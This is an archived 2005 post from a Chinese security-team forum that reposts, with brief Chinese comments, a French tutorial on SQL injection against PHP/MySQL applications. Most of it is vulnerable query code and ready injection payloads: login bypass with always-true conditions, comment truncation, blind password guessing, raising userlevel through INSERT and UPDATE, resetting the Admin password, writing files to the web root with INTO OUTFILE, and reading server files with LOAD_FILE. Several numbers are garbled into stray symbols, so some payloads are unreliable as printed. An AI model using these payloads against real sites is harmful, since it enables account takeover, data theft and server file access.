邪恶八进制信息安全团队技术讨论组's Archiver

exploit 2005-3-16 06:35

[转载]PHP注入

来源: [url]http://xiaomutou.51.net/ciker/blog[/url]

PHP注入.精简版本.小夜整理.有些地方我加了注释.
文章比较细致.主要介绍了三种SQL句子的注入方法.

1- select
2- insert
3- update

$req = "select * FROM membres where name like '%$search%' ORDER BY name"


où $search est la variable modifiable par l'utilisateur, venant d'un formulaire post (ou autre chose) de ce type :


<form method="POST" action="<? echo $PHP_SELF; ?>">
<input type="text" name="search"><br>
<input type="submit" value="Search">
</form>

select * FROM membres where name like &#39;%%&#39; ORDER BY uid#%&#39; ORDER BY name

$req = "select uid FROM admins where login=&#39;$login&#39; AND password=&#39;$pass&#39;"

select * FROM table where 1=1
select * FROM table where &#39;uuu&#39;=&#39;uuu&#39;
select * FROM table where 1<>2
select * FROM table where 3>2
select * FROM table where 2<3
select * FROM table where 1
select * FROM table where 1+1
select * FROM table where 1--1
select * FROM table where ISNULL(NULL)
select * FROM table where ISNULL(COT(0))
select * FROM table where 1 IS NOT NULL
select * FROM table where NULL IS NULL
select * FROM table where 2 BETWEEN 1 AND 3
select * FROM table where &#39;b&#39; BETWEEN &#39;a&#39; AND &#39;c&#39;
select * FROM table where 2 IN (0,1,2)
select * FROM table where CASE WHEN 1>0 THEN 1 END -------小猪早就开始利用了.呵呵.


select uid FROM admins where login=&#39;&#39; OR &#39;a&#39;=&#39;a&#39; AND password=&#39;&#39; OR &#39;a&#39;=&#39;a&#39;

select uid FROM admins where login=&#39;John&#39; AND password=&#39;&#39; OR &#39;b&#39; BETWEEN &#39;a&#39; AND &#39;c&#39;

select * FROM table where nom=&#39;Jack&#39;# commentaire

select * FROM table where nom=&#39;Jack&#39;


select * FROM table where /* commentaires */ addresse=ཕ rue des roubys&#39;

select * FROM table where addresse=ཕ rue des roubys&#39;

select uid FROM admins where login=&#39;John&#39;#&#39; AND password=&#39;&#39;

select uid FROM admins where login=&#39;&#39; OR admin_level=1#&#39; AND password=&#39;&#39;

$req = "select password FROM admins where login=&#39;$login&#39;"

select * FROM table INTO OUTFILE &#39;/complete/path/to/file.txt&#39; ----将表导出.


select password FROM admins where login=&#39;John&#39; INTO DUMPFILE &#39;/path/to/site/file.txt&#39;

http://[target]/file.txt.
frog&#39; INTO OUTFILE &#39;/path/to/site/file.php .

$req = "select uid FROM membres where login=&#39;$login&#39; AND password=&#39;$pass&#39;"

select * FROM table where msg like &#39;%hop&#39;

select * FROM table where msg like &#39;hop%&#39;

select * FROM table where msg like &#39;%hop%&#39;

select * FROM table where msg like &#39;h%p&#39;

select * FROM table where msg like &#39;h_p&#39;


select uid FROM membres where login=&#39;Bob&#39; AND password like &#39;a%&#39;#&#39; AND password=&#39;&#39;


select uid FROM membres where login=&#39;Bob&#39; AND LENGTH(password)=6#&#39; AND password=&#39;&#39;


$req = "select email, website FROM membres where name like &#39;%$search%&#39; ORDER BY name"


select * FROM membres where name like &#39;%%&#39; ORDER BY uid#%&#39; ORDER BY name


$req = "select email, website FROM membres where name like &#39;%$search%&#39; ORDER BY $orderby"

以上是select的注入.上面提到的.我们早已经掌握了.继续看

insert :

create TABLE membres (
id int(10) NOT NULL auto_increment,
login varchar(25),
password varchar(25),
nom varchar(30),
email varchar(30),
userlevel tinyint,
PRIMARY KEY (id)
)


$query1 = "insert INTO membres (login,password,nom,email,userlevel) VALUES (&#39;$login&#39;,&#39;$pass&#39;,&#39;$nom&#39;,&#39;$email&#39;,Ƈ&#39;)"


insert INTO membres (login,password,nom,email,userlevel) VALUES (&#39;&#39;,&#39;&#39;,&#39;&#39;,&#39;&#39;,Ɖ&#39;)#&#39;,Ƈ&#39;)


create TABLE membres (
id int(10) NOT NULL auto_increment,
login varchar(25),
password varchar(25),
nom varchar(30),
email varchar(30),
userlevel tinyint default Ƈ&#39;,
PRIMARY KEY (id)
)

$query2 = "insert INTO membres SET login=&#39;$login&#39;,password=&#39;$pass&#39;,nom=&#39;$nom&#39;,email=&#39;$email&#39;"


insert INTO membres SET login=&#39;&#39;,password=&#39;&#39;,nom=&#39;&#39;,userlevel=Ɖ&#39;,email=&#39;&#39;


create TABLE membres (
id varchar(15) NOT NULL default &#39;&#39;,
login varchar(25),
password varchar(25),
nom varchar(30),
email varchar(30),
userlevel tinyint,
PRIMARY KEY (id)
)


$query3 = "insert INTO membres VALUES (&#39;$id&#39;,&#39;$login&#39;,&#39;$pass&#39;,&#39;$nom&#39;,&#39;$email&#39;,Ƈ&#39;)"


insert INTO membres VALUES (&#39;[ID]&#39;,&#39;[LOGIN]&#39;,&#39;[PASS]&#39;,&#39;[NOM]&#39;,&#39;a@a.a&#39;,Ɖ&#39;)#&#39;,Ƈ&#39;)


可见.insert注入关键是截断,)再加注释的利用.没问题.很简单吧.继续

update的利用


create TABLE membres (
id int(10) NOT NULL auto_increment,
login varchar(25),
password varchar(25),
nom varchar(30),
email varchar(30),
userlevel tinyint,
PRIMARY KEY (id)
)


$sql = "update membres SET password=&#39;$pass&#39;,nom=&#39;$nom&#39;,email=&#39;$email&#39; where id=&#39;$id&#39;"


update membres SET password=&#39;[PASS]&#39;,nom=&#39;&#39;,userlevel=Ɖ&#39;,email=&#39; &#39; where id=&#39;[ID]&#39;


update membres SET password=&#39;[nouveaupass]&#39; where nom=&#39;Admin&#39;#&#39;,nom=&#39;[NOM]&#39;,email=&#39; &#39; where id=&#39;[ID]&#39;


update membres SET password=&#39;[nouveaupass]&#39; where nom=&#39;Admin&#39;


update membres SET password=&#39;[PASS]&#39;,nom=&#39;[NOM]&#39;,email=&#39; &#39; where id=&#39;&#39; OR name=&#39;Admin&#39;


create TABLE news (
idnews int(10) NOT NULL auto_increment,
title varchar(50),
author varchar(20),
news text,
Votes int(5),
score int(15),
PRIMARY KEY (idnews)
)


$sql = "update news SET Votes=Votes+1, score=score+$note where idnews=&#39;$id&#39;"

update news SET Votes=Votes+1, score=score+3, title=&#39;hop&#39; where idnews=཈&#39;

update news SET Votes=Votes+1, score=score+3,Votes=0 where idnews=཈&#39;

update news SET Votes=Votes+1, score=score+3, title=char(104,111,112) where idnews=཈&#39;

la fonction ASCII() ou ORD(). ASCII(&#39;h&#39;) et ORD(&#39;h&#39;)


update news SET Votes=Votes+1, score=score+3, title=0x616263 where idnews=཈&#39;
select CONV("abc",16,3), CONV("abc",16,8).


DATABASE() et USER() ( ou SYSTEM_USER() ou CURRENT_USER() ou SESSION_USER() )

update news SET Votes=Votes+1, score=score+3, title=DATABASE() where idnews=཈&#39;

update news SET Votes=Votes+1, score=score+3, news=LOAD_FILE(&#39;/tmp/picture&#39;) where idnews=཈&#39;

页: [1]
© 1999-2008 EvilOctal Security Team